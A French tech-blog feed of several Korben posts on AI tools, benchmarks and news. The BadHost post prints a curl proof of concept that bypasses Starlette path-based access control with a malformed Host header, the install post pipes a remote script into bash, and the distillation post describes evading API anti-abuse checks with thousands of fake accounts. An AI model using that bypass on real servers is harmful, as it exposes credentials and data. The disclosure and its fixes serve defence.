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  • Dream Server - Un serveur IA complet chez vous en une commande
    Monter une vraie IA à la maison, c'est vite une galère. Vous achetez une super machine puis vous collez dessus toute votre liste au père Noël (Chat local, reco vocale, génération d'image, RAG et compagnie) et vous voilà à empiler des dockers à n'en plus finir. Eh bien Light Heart Labs en a eu marre de ces bricolages et nous a pondu Dream Server, un outil qui câble tout ce petit monde à votre place ! Une seule commande et c'est parti mon kiki (Linux et macOS) : curl -fsSL https://raw.githubuserco

Dream Server - Un serveur IA complet chez vous en une commande

Par : Korben ✨
26 juin 2026 à 16:41

Monter une vraie IA à la maison, c'est vite une galère. Vous achetez une super machine puis vous collez dessus toute votre liste au père Noël (Chat local, reco vocale, génération d'image, RAG et compagnie) et vous voilà à empiler des dockers à n'en plus finir. Eh bien Light Heart Labs en a eu marre de ces bricolages et nous a pondu Dream Server, un outil qui câble tout ce petit monde à votre place !

Une seule commande et c'est parti mon kiki (Linux et macOS) :

curl -fsSL https://raw.githubusercontent.com/Light-Heart-Labs/DreamServer/main/dream-server/get-dream-server.sh | bash

Ou Windows :

Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
git clone https://github.com/Light-Heart-Labs/DreamServer.git
cd DreamServer
.\install.ps1

Ça va lancer le script qui va ensuite tout paramétrer tout seul et choisir le modèle d'IA qui collera le plus à votre matériel, et cela que vous ayez une RTX 4090, un Mac M4 avec mémoire unifiée ou encore une puce AMD Strix Halo voire un vieux PC sans GPU.

Edit : un lecteur m'a remonté un piège si vous êtes sous Linux configuré en français (ou n'importe quelle locale qui écrit les décimales avec une virgule). Le script génère tout seul les valeurs de votre fichier .env en suivant le format de nombres de votre système, et il vous colle des 16,0 au lieu de 16.0. Du coup l'install se vautre avec une erreur dans le genre COMFYUI_CPU_LIMIT: expected number, got '16,0'. La parade, confirmée par un des auteurs, c'est de relancer l'installeur en forçant la locale C (celle qui met des points à la place des virgules) :

LC_ALL=C ./install.sh

Ensuite, pendant que le LLM se télécharge à fond les ballons, un autre petit modèle de 1,5 milliards de paramètres en backup afin que vous puissiez quand même "discuter" avec votre Dreamserver.

Le rôle de Dreamserver c'est donc juste de prendre toutes les briques de l'IA pour vous en faire un truc clé en main. Open WebUI pour le chat, llama-server pour l'inférence, Whisper et Kokoro pour la voix, ComfyUI pour les images, Qdrant pour le RAG, SearXNG pour la recherche web sans mouchard, et bien sûr n8n pour brancher tout ça à vos automatisations.

Et une fois que c'est en route, suffit de lancer la commande dream et là vous pourrez tout faire.

Par exemple dream status pour visualiser l'état des services et du GPU, dream model swap T3 pour changer de "palier" sur votre matos, dream enable n8n pour activer une extension ou encore dream mode hybrid pour avoir de l'inférence en local avec possibilité de basculer sur une IA dans le cloud via une API.

Dreamserver reste un orchestrateur, et pas un moteur IA magique, donc si vous adorez tout assembler vous-même, vous n'avez clairement pas besoin de ça. Par contre, si vous vous en foutez, et que vous voulez juste votre IA qui tourne ce soir, ça vous fera gagner des heures de bidouille.

Faut dire qu'à mesure que l'IA devient une infrastructure de base, dépendre à 100% d'un abonnement cloud qui peut tripler ses tarifs ou couper votre accès du jour au lendemain, ça craint un peu. Donc je pense qu'on est tous bien contents d'avoir des solutions clé en main comme celle-ci.

Si ça vous tente, c'est sur le dépôt de Dream Server .

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  • Distillation - Comment Alibaba aurait aspiré l'IA Claude
    Anthropic vient d'accuser frontalement Alibaba d'avoir siphonné les capacités de son IA Claude. Et le plus dingue dans cette histoire, c'est la méthode qui aurait été employée. Car non, rassurez-vous, personne n'a piraté les serveurs d'Anthropic, personne n'a volé le code source de Claude, et personne n'a mis la main sur les fameux "poids" du modèle. En fait, les opérateurs (les bots quoi) liés à Alibaba ont juste discuté avec Claude. Et pas qu'un peu puisqu'ils ont effectué 28,8 millions d'écha

Distillation - Comment Alibaba aurait aspiré l'IA Claude

Par : Korben ✨
25 juin 2026 à 09:24

Anthropic vient d'accuser frontalement Alibaba d'avoir siphonné les capacités de son IA Claude. Et le plus dingue dans cette histoire, c'est la méthode qui aurait été employée.

Car non, rassurez-vous, personne n'a piraté les serveurs d'Anthropic, personne n'a volé le code source de Claude, et personne n'a mis la main sur les fameux "poids" du modèle. En fait, les opérateurs (les bots quoi) liés à Alibaba ont juste discuté avec Claude. Et pas qu'un peu puisqu'ils ont effectué 28,8 millions d'échanges durant 6 semaines !!

Alors vous demandez sûrement comment on "vole" une IA juste en lui causant ? Hé bien c'est une technique qui s'appelle la distillation et que je vais essayer de vous expliquer.

En fait, quand vous posez une question à Claude, il vous sort en général une réponse super bien formulée et complète. Et cette réponse, c'est de l'or en barre pour les copieurs car elle contient, en version condensé, le savoir et le raisonnement du modèle. Du coup, si vous récupérez des millions de ces paires question-réponse, vous vous retrouvez au bout d'un moment avec un énorme jeu de données. Et avec ce jeu de données, vous pouvez alors entraîner votre propre modèle, plus petit, à imiter les réponses du plus balèze.

En gros, le modèle costaud joue le prof, et votre petit modèle joue l'élève. Ce dernier ne pige pas forcément comment le prof réfléchit, mais à force de recopier tout ce que l'autre lui dit, il finit par lui ressembler beaucoup. Les chercheurs appellent ça la technique du teacher-student et la variante utilisée ici chez Alibaba, c'est la distillation "black-box". En mode black-box (boite noire quoi...), y'a pas besoin de cracker le modèle puisque ses réponses suffisent. Et c'est pour ça que ça marche même quand le modèle d'en face est fermé et accessible seulement via une API.

Reste un petit détail quand même... Y'a aucune API au monde qui vous laisse balancer 28 millions de requêtes peinard depuis un seul compte. Y'a des quotas, des limites, des systèmes anti-abus de partout. Ils ont donc du créer environ 25 000 faux comptes pour noyer le poisson, comme ça chaque compte fait sa petite part du boulot, le trafic ressemble à des milliers d'utilisateurs lambda, et hop, ni vu ni connu on chope la data ! C'est ce maquillage à grande échelle qui fait dire à Anthropic que c'est la plus grosse attaque du genre qu'ils aient jamais vue, et menée selon eux par des opérateurs liés à Alibaba et à son labo Qwen .

Et c'est loin d'être la première fois, souvenez vous, puisqu'en février, Anthropic avait déjà repéré le même manège chez DeepSeek (150 000 échanges), Moonshot AI (3,4 millions) et MiniMax (13 millions). Avant ça, début 2025, OpenAI soupçonnait aussi déjà DeepSeek de piocher dans les réponses de ses modèles, et décrivait des routeurs tiers planqués pour contourner ses blocages. Bref, c'est toujours le même schéma. Le copiage d'IA a même ses variantes maison, comme on l'a vu lors de ce scandale Pangu chez Huawei , qui lui est resté entre acteurs chinois.

Et le vrai souci pour Anthropic, OpenAI et les autres, c'est qu'ils ne peuvent quasiment rien y faire. Une IA, son produit, c'est justement ses réponses. Vous ne pouvez donc pas vendre des réponses tout en empêchant les gens de les lire et de les stocker. Les labos planchent bien sur des parades (watermarking des sorties, réécriture des traces de raisonnement pour brouiller les pistes, ce genre de trucs), mais pour l'instant ça reste de la rustine de fortune.

Après faut pas croire non plus que la distillation soit "sale" par nature. C'est une technique hyper courante et parfaitement légit pour fabriquer des petits modèles rapides qui tournent sur votre laptop. Mais ce qui change tout ici, c'est le consentement car distiller votre propre gros modèle, nickel mais distiller celui du voisin en douce via des faux comptes, c'est moche quand même.

Maintenant, moi ce que je n'oublie pas c'est que ces modèles géants se sont gavés en avalant la totalité du web sans rien demander à personne, alors les voir se faire pomper à leur tour pour finir dans des modèles open source, je vois ça comme un juste retour de karma...

Reste à voir ce que les tribunaux en penseront...

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  • ✇Korben
  • EQ-Bench - Le benchmark de l'intelligence émotionnelle des IA
    Sam Paech s'est rendu compte qu'on testait toujours les IA sur le code, les maths, et à qui battra un prochain record , mais presque jamais sur leur capacité à comprendre les émotions humaines ou à pondre un texte qui ne sente pas le slop de bot à plein nez. Et c'est pour ça qu'il a monté EQ-Bench , un benchmark qui note l**'intelligence émotionnelle des grands modèles de langage**. Pour alimenter son benchmark, il colle tout un tas de modèles dans des jeux de rôle un peu tordus (45 scénarios da

EQ-Bench - Le benchmark de l'intelligence émotionnelle des IA

Par : Korben ✨
19 juin 2026 à 12:01

Sam Paech s'est rendu compte qu'on testait toujours les IA sur le code, les maths, et à qui battra un prochain record , mais presque jamais sur leur capacité à comprendre les émotions humaines ou à pondre un texte qui ne sente pas le slop de bot à plein nez. Et c'est pour ça qu'il a monté EQ-Bench , un benchmark qui note l**'intelligence émotionnelle des grands modèles de langage**.

Pour alimenter son benchmark, il colle tout un tas de modèles dans des jeux de rôle un peu tordus (45 scénarios dans sa dernière version) et c'est un autre modèle (Claude, en l'occurrence) qui joue l'examinateur. Il note alors chaque réponse sur huit dimensions, telles que l'empathie, la finesse sociale ou la capacité à poser une limite quand il faut, puis nous sort un classement façon Elo (le classement des échecs). Tout est open source, documenté dans un papier de recherche et Paech finance ce bazar avec ses propres deniers.

Et depuis 2023, c'est devenu une véritable collection de tests...

Y'a un test d'écriture créative, un autre qui regarde si le modèle vous cire les pompes au lieu de vous recadrer quand la conversation s'éternise, un sur l'humour, et même un où les IA jouent à Diplomacy pour voir lesquelles savent négocier et bluffer.

Mais mon préféré c'est le Slop Score, qui mesure à quel point un texte pue l'IA. Pour cela, il traque les mots sur-utilisés et le fameux tic du "pas X, mais Y". Bref, de quoi objectiver (un peu) ce qui rend la moitié du web illisible ces temps-ci.

Paech prévient quand même que son "juge" reste quelque chose de totalement subjectif et qu'il n'existe aucune vérité absolue sur l'intelligence émotionnelle. C'est donc plutôt à lire comme une boussole et pas comme un verdict gravé dans le marbre (ou le silicium ^^).

Toutefois, pour savoir si un modèle écrit comme un humain plutôt que comme un employé d'agence de branding, c'est plutôt pratique. Et je vous conseille d'aller fouiller un peu dans les classements, comme ça vous verrez que le meilleur en code n'est pas forcement le plus futé côté émotions...

Bref, vivement le retour de Fable 5 ^^

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  • Qwen-Robot Suite - Alibaba donne un corps à son IA
    Voici une news concernant l'intelligence artificielle, qui je pense devrait vous plaire si vous vous intéressez à la robotique. Alibaba qu'on ne présente plus, vient de sortir sa Qwen-Robot Suite, 3 modèles IA signés Tongyi Lab (les gens derrière Qwen ) imaginé pour donner un corps à l'IA. Parce qu'une machine capable de décrire votre cuisine au millimètre près mais complétement infoutue d'y attraper une tasse, voilà un peu ce qu'on a en robotique en ce moment... Car "comprendre" le monde, ça l

Qwen-Robot Suite - Alibaba donne un corps à son IA

Par : Korben ✨
18 juin 2026 à 08:56

Voici une news concernant l'intelligence artificielle, qui je pense devrait vous plaire si vous vous intéressez à la robotique. Alibaba qu'on ne présente plus, vient de sortir sa Qwen-Robot Suite, 3 modèles IA signés Tongyi Lab (les gens derrière Qwen ) imaginé pour donner un corps à l'IA. Parce qu'une machine capable de décrire votre cuisine au millimètre près mais complétement infoutue d'y attraper une tasse, voilà un peu ce qu'on a en robotique en ce moment...

Car "comprendre" le monde, ça les modèles savent faire. Mais agir dedans, c'est une autre paire de manches. Cette Qwen-Robot Suite découpe donc ça en trois briques, RobotNav pour se déplacer, RobotManip pour saisir des objets, et RobotWorld qui joue les boules de cristal en prédisant ce qui va se passer avant même que le robot ne bouge. Et si vous voulez expérimenter tout ça tout de suite, sans mettre les mains dans le cambouis, y'a même une démo Chat2Robot , où vous tapez une instruction dans votre navigateur et un bras robotique l'exécute en direct !

Mais le plus parlant dans leurs démos, c'est ce chien-robot Unitree Go2 ( bourré de failles de sécu, qui balance toutes vos données en chine ) qui, une fois lâché chez vous avec sa seule petite caméra bas de gamme, peut se balader dans toute la maison pour vous rendre tout un tas de services. Sauf qu'ici il opère dans des lieux qu'il n'a jamais vus, en suivant vos consignes vocales de pièce en pièce, et il peut même refaire tout le trajet à l'envers sur commande. C'est en tout cas, assez cool de voir ces world models enfin capables d'apprendre à résoudre des problèmes auxquels il n'a encore jamais été confronté.

L'astuce, c'est d'entraîner un seul modèle sur les données de plein de robots différents d'un coup, au lieu de repartir de zéro pour chaque machine. Du coup un geste appris sur un bras X se transfère direct sur un autre bras Y, et chaque robot profite ainsi, en quelque sorte, de l'expérience accumulée par tous les congénères du lot. Et tout ça a été nourri avec plus de 38 000 heures de données, uniquement en l'open-source, dont des vidéos de gens filmés en train de faire des trucs, et adapté pour que la machine puisse apprendre en regardant faire des humains .

Et niveau perfs, ça tape fort apparemment !

Sur les benchmarks de manipulation, RobotManip passe devant π0.5, un modèle de Physical Intelligence dont je vous avais déjà parlé, avec quand même 7 points d'avance, sur un benchmark de manipulation standard. Il finit aussi premier sur RoboChallenge, le classement généraliste du secteur. Bon, ce sont des chiffres de labo bien sûr, mais le saut par rapport à la concurrence fait mal ^^.

Ce que Qwen veut faire surtout, c'est de tout passer par le langage naturel comme ça une commande de bras, un virage de voiture, un point de navigation et compagnie... tout devient une simple phrase. Cela permet aux modèles Qwen classiques d'appeler ces briques comme des outils, et de brancher l'intelligence artificielle classique (les LLMs) directement sur l'action physique (les World Model). La presse parle déjà d'un "moment Android" pour la robotique, autrement dit un cerveau logiciel que n'importe quel fabricant de bras ou de roues pourrait embarquer sans avoir à fabriquer la quincaillerie. Ce serait fou !

Après, Chat2Robot tourne sur 50 tâches seulement et n'est pas parfait. Le tout est en test pilote chez quelques clients d'Alibaba Cloud, donc c'est pas encore pour votre robot aspirateur... Mais si le concept de robot à la maison vous intéresse, c'est une approche intéressante je trouve. Entre Physical Intelligence, Gemini Robotics chez Google et GR00T chez NVIDIA, tout le monde semble chercher le même Graal, à savoir une IA généraliste capable de piloter n'importe quel corps mécanique. Bref, Alibaba ne vend pas de robot, mais le cerveau qui va dedans, et le fait que ce soit entièrement open-source et orienté langage me fait dire qu'on risque de voir plein de projets cools et surtout accessibles se monter autour de ça.

D'ailleurs, à force de voir ces robots de service débarquer partout, je me demande quand on va leur imposer un minimum de sécurité face au public.

Source

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  • Age of LLM - Un Age of Empires où aucun humain ne joue
    Vous voulez savoir comment GPT-5.5, Claude ou Grok raisonnent quand on les met sous pression ? Hé bien filez-leur un jeu de stratégie et regardez-les se faire la guerre. C'est tout le principe d' Age of LLM , monté par Rymentz, un lecteur du blog où deux IA s'affrontent au tour par tour, sans aucun humain aux commandes. C'est un benchmark 1v1 dans lequel on balance deux modèles sur la même carte, on leur donne les règles et puis c'est tout, sans aucun autre conseil de stratégie. À eux alors d

Age of LLM - Un Age of Empires où aucun humain ne joue

Par : Korben ✨
16 juin 2026 à 10:10

Vous voulez savoir comment GPT-5.5, Claude ou Grok raisonnent quand on les met sous pression ? Hé bien filez-leur un jeu de stratégie et regardez-les se faire la guerre.

C'est tout le principe d' Age of LLM , monté par Rymentz, un lecteur du blog où deux IA s'affrontent au tour par tour, sans aucun humain aux commandes.

C'est un benchmark 1v1 dans lequel on balance deux modèles sur la même carte, on leur donne les règles et puis c'est tout, sans aucun autre conseil de stratégie. À eux alors de déduire seuls comment contrer les attaques, quand bâtir leur économie, quand lever une armée pour aller défoncer la base d'en face, quand négocier la paix et quand carrément appuyer sur le gros bouton rouge. Parce que dans ce benchmark, on peut gagner de trois façons : la conquête militaire, la victoire diplomatique, ou la bombe nucléaire.

Tout est ensuite rendu public sur le site, avec un classement ELO et le replay de chaque partie. Pour le moment, 13 modèles y sont classés, de GPT-5.5 à Grok en passant par Claude, Gemini, DeepSeek ou Qwen.

Sur les 43 parties jouées par la version 0.12.0 du moteur, 38 se terminent par un champignon atomique. C'est énorme je trouve... La diplomatie ne l'a emporté que 2 fois, et le militaire 3 fois. Mettez deux de ces modèles face à face avec une bombe à portée de main, et neuf fois sur dix, ça finit donc par appuyer sur le bouton rouge. Elles nous ressemblent tellement ces IA quand même...

Des chercheurs qui ont fait jouer des LLMs à des simulations de crise nucléaire ont relevé une tendance comparable. Quand l'option d'escalade existe, les modèles finissent le plus souvent par la prendre. C'est pour ça qui ne faut pas confier d'armes à des IA les amis... Car elles s'en serviront c'est certain !

Le jour où j'ai compris que les IA et les armes, c'était pas un bon mélange à faire

Et chacun de ces modèles a vraiment son style... Y'a qu'à regarder le classement qui est sans pitié. GPT-5.5 écrase tout le monde, 6 victoires sur 6, 100% de winrate, premier à l'ELO... mais il médite presque 5 minutes par tour avant de jouer.

À l'autre bout du tableau, on retrouve Grok 4.3 qui finit bon dernier, zéro victoire en 4 parties, mais qui joue le plus vite de tous, avec 7 secondes par tour (autant dire qu'il ne réfléchit pas trop).

Les Claude, eux, jouent propre et solide mais sans jamais dominer. Ça me rappelle l'IA qui galérait à finir un niveau de Super Mario ...

Mais le chiffre le plus parlant, c'est le taux de coups illégaux, c'est à dire le pourcentage de fois où un modèle propose une action interdite par les règles.

Par exemple, sous pression, Grok 4.3 culmine à 8,6% d'actions de triche, soit le pire du lot. Cela veut dire que sa capacité à suivre des règles sous pression est moins bonne que celle des autres modèles.

Ça résonne forcement avec ce papier d'Adrian de Wynter dont je vous parlais récemment , celui qui montrait qu'Age of Empires II a autant d'attributs "humains" que votre ChatGPT, histoire de dégonfler la hype sur les IA soi-disant conscientes.

Age of LLM, lui, prend le problème par l'autre bout, où au lieu d'analyser on fait jouer et on regarde ce qui sort. Derrière ce projet, on retrouve le même lecteur qui avait bricolé Nuclear Arms Race il y a quelques années et dont je vous avais parlé. Il a repris le concept, sauf que cette fois ce sont des IA qui jouent entre elles.

En tout cas, comme spectacle, c'est très hypnotique. Lancez un replay, vous allez voir... En regardant deux IA se bluffer et se faire exploser la tronche vous permettra d'en apprendre plus sur leur raisonnement qu'avec dix pages de benchmark.

Merci à Rymentz pour le lien et pour le projet !

  • ✇Korben
  • iOS 27 : votre iPhone va se connecter tout seul à vos comptes pour réparer vos mots de passe pourris
    À la WWDC 2026, Apple a survolé la nouveauté en quelques secondes. Dans iOS 27, l'app Mots de passe ne se contente plus de signaler vos identifiants vulnérables, elle les remplace toute seule, en se rendant sur chaque site à votre place. Le déroulé ressemble à de la magie un peu inquiétante. Vous validez une fois, puis Apple Intelligence, le moteur d'intelligence artificielle maison, ouvre le site visé dans Safari, saisit vos identifiants stockés dans le Trousseau iCloud, navigue jusqu'au formul

iOS 27 : votre iPhone va se connecter tout seul à vos comptes pour réparer vos mots de passe pourris

10 juin 2026 à 09:09

À la WWDC 2026, Apple a survolé la nouveauté en quelques secondes. Dans iOS 27, l'app Mots de passe ne se contente plus de signaler vos identifiants vulnérables, elle les remplace toute seule, en se rendant sur chaque site à votre place.

Le déroulé ressemble à de la magie un peu inquiétante. Vous validez une fois, puis Apple Intelligence, le moteur d'intelligence artificielle maison, ouvre le site visé dans Safari, saisit vos identifiants stockés dans le Trousseau iCloud, navigue jusqu'au formulaire de changement de mot de passe, en génère un nouveau long et aléatoire, puis l'enregistre, sans que vous ayez à toucher quoi que ce soit.

Apple parle d'agent. Le mot décrit une IA qui n'attend plus une question pour répondre, mais qui clique, navigue et mène une tâche complète à votre place.

Cette app Mots de passe n'a que deux ans. Apple l'a lancée en 2024 avec iOS 18 pour extraire le Trousseau iCloud, son gestionnaire de mots de passe historique, du fond des Réglages où plus personne ne l'ouvrait. Depuis, elle détecte sans peine un code trop court, un identifiant réutilisé sur trente sites ou une adresse compromise dans une fuite de données.

Mais elle restait passive. Le bouton "Modifier le mot de passe" renvoyait l'utilisateur faire la corvée lui-même, sur le site, à la main. Résultat, presque personne ne s'y collait.

Apple jure que rien ne sort du Trousseau, chiffré en AES 256 bits, un standard que l'entreprise affirme ne pas savoir déchiffrer elle-même. Pendant l'opération, une Live Activity affiche la progression dans la Dynamic Island, ce bandeau interactif en haut de l'écran des iPhone récents.

L'inconnue tient en un chiffre. Combien de sites se laisseront réellement manœuvrer par cette IA ? Entre les pages de connexion maison, les formulaires exotiques et la double authentification par SMS, beaucoup risquent de bloquer l'opération en cours de route. Un développeur a estimé le taux de réussite à 3% des comptes. Apple, plus diplomate, évoque des "comptes éligibles", ce qui revient à reconnaître la limite.

Et puis il y a l'éternel problème européen. Comme tout repose sur Apple Intelligence, dont le déploiement dans l'Union européenne traîne depuis le départ pour cause de bras de fer réglementaire, la fonction risque encore de se faire attendre de ce côté de l'Atlantique. iOS 27 tourne déjà en bêta développeurs, passe en bêta publique en juillet et sortira pour tous en septembre.

Déléguer ce genre de corvée à une IA, sur le papier, c'est futé. En pratique, lâcher un agent seul sur son compte bancaire, c'est courageux.

Source : 9to5mac

  • ✇Korben
  • Dynamic Workflows - Quand Claude Code orchestre des centaines d'agents
    Faut le reconnaître, malgré toute la bonne volonté qu'elle peut y mettre, y'a encore des tâches trop grosses pour être réalisées en une seule passe avec de l'IA, du genre auditer votre projet de Saas en mousse en intégralité ou traiter les milliers de fichiers que vous récupérez sur le darkweb (ça va, j'rigole mes petits Pablo). Hé bien c'est exactement ce que les dynamic workflows d'Anthropic, sortis hier avec Opus 4.8 dans Claude Code, viennent régler. Et comme c'est encore un nouveau truc rel

Dynamic Workflows - Quand Claude Code orchestre des centaines d'agents

Par : Korben ✨
29 mai 2026 à 13:33

Faut le reconnaître, malgré toute la bonne volonté qu'elle peut y mettre, y'a encore des tâches trop grosses pour être réalisées en une seule passe avec de l'IA, du genre auditer votre projet de Saas en mousse en intégralité ou traiter les milliers de fichiers que vous récupérez sur le darkweb (ça va, j'rigole mes petits Pablo). Hé bien c'est exactement ce que les dynamic workflows d'Anthropic, sortis hier avec Opus 4.8 dans Claude Code, viennent régler.

Et comme c'est encore un nouveau truc relou à savoir, je viens vous expliquer comment tout ceci fonctionne et dans quels cas les utiliser.

En fait, grâce à ça, au lieu de bosser tout seul en une fois, Claude écrit lui-même un petit script qui lance des dizaines, voire des centaines de sous-agents en parallèle, les fait se vérifier entre eux, et vous rend le résultat une fois que tout converge. Vous décrivez le chantier et lui s'occupe de l'orchestration et puis c'est tout !

Le problème que ça règle

Car jusqu'ici, un agent IA bossait en gros comme un employé seul à son bureau, avec une demande, une passe, une réponse. Ça marche donc très bien pour un bug isolé ou un bout de code mais dès que le chantier devient énorme, genre rechercher une faille dans tout un projet complexe ou reconstruire une API à partir de milliers de fichiers, là y'a plus personne... la passe unique sature et oublie alors des trucs en route.

Les dynamic workflows cassent donc ce plafond en découpant le boulot en sous-tâches confiées à plein d'agents qui tournent alors tous en même temps, et comme la coordination se passe en dehors de la conversation, pas d'inquiétude, le plan ne déraillera pas, même quand la tâche sera giganormouuuuus !

Comment ça tourne ?

En fait, quand vous lancez un workflow, Claude planifie à la volée selon votre demande, découpe en sous-tâches, et répartit le tout sur des sous-agents en parallèle. Et chaque résultat est ensuite scrupuleusement vérifié avant d'être réintégré à la conversation principale.

Et comme c'est bien pensé, cette vérification est adversariale, ce qui veut dire que des agents attaquent le problème sous des angles indépendants pendant que d'autres essaient activement de démolir ce que les premiers ont trouvé. Ça tourne donc en boucle jusqu'à ce que les réponses convergent, ce qui élimine pas mal de conneries plausibles qui seraient fausses.

Autre bon point avec cette nouvelle technique, c'est la progression qui est sauvegardée au fil de l'eau. Comme ça si un job se fait interrompre, il repart où il en était dans la même session, au lieu de tout recommencer comme un débile. Et côté garde-fous, sachez qu'un workflow plafonnera max à 16 agents en parallèle et max 1000 agents au total par run, histoire que ça ne parte pas en cachuète !

Comment l'activer ?

Il y a 2 façons de lancer cette armée d'agents, et la première ne demande aucun réglage.

Vous demandez juste à Claude de créer un workflow, littéralement avec un truc du genre "crée un workflow pour faire X". Vous verrez, la première fois qu'un workflow se déclenchera, Claude Code vous montrera ce qu'il s'apprête à lancer et vous demandera de confirmer la chose. Comme ça, pas de surprise, c'est vous le boss et c'est vous qui validez avant que ça parte.

Mais y'a aussi la méthode automatique, qui consiste à activer un réglage maison appelé ultracode depuis le menu d'effort (/effort) durant une session en cours, qui pousse le raisonnement très haut (xhigh) et laisse ensuite Claude décider tout seul quand sortir un workflow pour les tâches qui le méritent.

Pour profiter de cette nouvelle feature, il vous faut Claude Code en version 2.1.154 ou plus récente, et ça tourne aussi bien en ligne de commande que sur l'app desktop ou l'extension VS Code. Côté abonnement, c'est dispo sur tous les plans payants... Sur le plan Pro faudra juste l'activer à la main dans le menu /config, alors que sur Max, Team et Enterprise c'est présent d'office.

Ce que ça donne en vrai

Pour la chasse aux bugs ou les audits de sécurité sur un dépôt entier, où Claude fouille en parallèle puis revérifie chaque trouvaille de façon indépendante, c'est top ! Pour les grosses migrations aussi, genre changer de framework ou porter un langage vers un autre sur des milliers de fichiers c'est le top aussi surtout que comme je vous le disais, quand c'est critique, vaut mieux que ce soit vérifié deux fois plutôt qu'une !

Ils l'ont utilisé par exemple pour le portage de Bun du langage Zig vers Rust. Cela a pris 11 jours entre le premier commit et la fusion, avec des centaines d'agents en parallèle et deux relecteurs sur chacun des fichiers et au final ce sont plus de 750 000 lignes de Rust qui ont été réécrites. La société Klarna, de son côté, s'en sert pour repérer le code mort que l'analyse statique classique laissait passer.

Ce que j'en fais

Perso, ce que je trouve le plus utile, c'est pour les chantiers que je repoussais justement parce qu'ils étaient trop gros pour une seule session. Passer en revue le code de mon site de fond en comble (ce que j'ai fait ce matin), ou encore bosser plus efficacement sur le recompilateur que je suis en train de créer (je vous en recause bientôt..)

Le prix à payer

Évidemment, je suis lucide, ça a un coût et Anthropic prévient noir sur blanc qu'un dynamic workflow bouffe nettement plus de tokens qu'une session classique. Bah oui, des centaines d'agents qui tournent en parallèle, forcément, ça consomme à fond. Du coup leur conseil officiel, c'est de commencer sur une tâche bien cadrée pour prendre la mesure de ce que ça pompe avant de lâcher l'outil sur un gros morceau. C'est totalement ce que je n'ai pas fait ^^ mais je suis un punk, que voulez-vous !

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  • ✇Korben
  • BadHost - Un caractère et votre agent IA passe à l'ennemi
    Les chercheurs de X41 D-Sec viennent de divulguer une faille critique baptisée BadHost (CVE-2026-48710) dans Starlette, le framework Python qui sert de fondation à FastAPI, vLLM , LiteLLM et une grande partie des serveurs MCP basés sur FastAPI. 325 millions de téléchargements par semaine, et il suffit d'injecter un seul caractère dans le header HTTP "Host" pour contourner les contrôles d'accès path-based qui lisent "request.url.path" dont autant dire que beaucoup de déploiements d'agents IA en p

BadHost - Un caractère et votre agent IA passe à l'ennemi

Par : Korben ✨
28 mai 2026 à 12:51

Les chercheurs de X41 D-Sec viennent de divulguer une faille critique baptisée BadHost (CVE-2026-48710) dans Starlette, le framework Python qui sert de fondation à FastAPI, vLLM , LiteLLM et une grande partie des serveurs MCP basés sur FastAPI.

325 millions de téléchargements par semaine, et il suffit d'injecter un seul caractère dans le header HTTP "Host" pour contourner les contrôles d'accès path-based qui lisent "request.url.path" dont autant dire que beaucoup de déploiements d'agents IA en production tournent en ce moment avec une porte d'entrée très mal verrouillée.

Le proof of concept publié par OSTIF donne ceci :

curl -i -H 'Host: foo' http://target/admin # 403, bloqué
curl -i -H 'Host: foo?' http://target/admin # 200, ça passe !!

Et c'est tout ! Un simple point d'interrogation collé au Host header, et l'endpoint "/admin" qui jusqu'alors filtrait les non-authentifiés s'ouvre alors aussi facilement que le claque-merde de mes haters ^^.

Donc si votre infra utilise FastAPI, vLLM ou LiteLLM exposés directement en ASGI (uvicorn, hypercorn, granian) sans reverse proxy strict devant, vous pouvez tester votre exposition immédiatement grâce au scanner de BadHost développé par Nemesis et X41 D-Sec.

Niveau mécanique, Starlette reconstruit l'objet "request.url" en concaténant la valeur du header "Host" avec le path de la requête, puis re-parse le tout. Sauf que la valeur de "Host" n'est jamais validée donc si vous y injectez un "/", un "?" ou un "#", vous décalez la frontière entre path, query et fragment au moment du re-parse.

Du coup, le routeur Starlette dispatche sur le vrai path de la requête HTTP (donc votre endpoint sensible s'exécute bien), mais les middlewares qui lisent "request.url.path" voient simplement un path empoisonné qui ne correspond plus à rien d'interdit.

Donc le contrôle d'accès saute et le code derrière tourne quand même. On est sur un score CVSS de 7/10 et la boite de sécu Secwest estime même que cette note est largement sous-estimée... En gros c'est super grave !

Car la portée réelle ce sont surtout les serveurs MCP qui peuvent stocker ou manipuler des tokens et identifiants pour accéder aux ressources externes auxquelles les agents IA se connectent : bases de données, comptes mail, calendriers, S3, webhooks...etc

Bref, le genre de "coffre-fort" que vous ne voulez pas voir ouvert via un header HTTP à la con malformé. Markus Vervier de X41 D-Sec a même publié un petit échantillon de ce que leurs scanners ont déjà trouvé en production : Des bases de données d'essais cliniques chez des biopharmas, des données de vérification d'identité avec PII en temps réel, des accès SSH à des équipements industriels via bastion, des boites mails complètes en lecture/écriture, des listes de souscripteurs CMS, des topologies AWS complètes avec metric queries.

Bref, l'écosystème agents IA vient de passer en mode naturiste !

Pour régler ce problème, vous devez donc mettre à jour vers Starlette 1.0.1 ou supérieur, dans tous vos déploiements LLM qui l'intègrent... Et là c'est le bordel parce qu'il y en a partout : Dans les images Docker, les virtualenvs et les artefacts "vendorisés" un peu partout... Donc faut tout rebuilder.

Et si vous avez du code custom, l'OSTIF recommande aussi de remplacer request.url.path par request.scope["path"] partout où une décision de sécurité est prise.

En gros, lire la valeur non reconstruite est le "fix" qui survivra aux prochaines versions du bug, parce que croyez-moi, ça reviendra à coup sûr !

Maintenant, côté infra, X41 D-Sec et OSTIF indiquent que nginx, Apache httpd et Cloudflare rejettent le PoC par défaut, mais ça ne doit pas vous empêcher de vérifier votre config. Donc ne traitez votre reverse proxy comme une mitigation qu'après l'avoir testé explicitement avec le scanner Nemesis.

Au-delà du correctif technique, BadHost rappelle une mécanique qu'on a déjà vue avec la faille RCE de llama-cpp-python à savoir que la chaîne d'approvisionnement de l'IA ne tient que sur quelques mainteneurs bénévoles qui prennent des risques personnels énormes pour patcher proprement.

Kludex, le mainteneur de Starlette, est actuellement sous une avalanche de reports depuis des mois. L'audit qui a permis de trouver le bug a par ailleurs été financé par OSTIF et AWS et sans ça, BadHost serait encore probablement dans la nature pour un an voire plus avant d'être découvert plus naturellement.

Donc si votre boîte fait tourner du LLM en prod via FastAPI, vLLM ou LiteLLM, vous avez aujourd'hui 2 choses urgentes à faire : 1/ passer votre infra dans le scanner Nemesis, et 2/ envoyer un petit don à Kludex pour le soutenir !

Sources : Ars Technica , OSTIF

  • ✇Korben
  • WordPress Workspace - L'agent IA d'Automattic
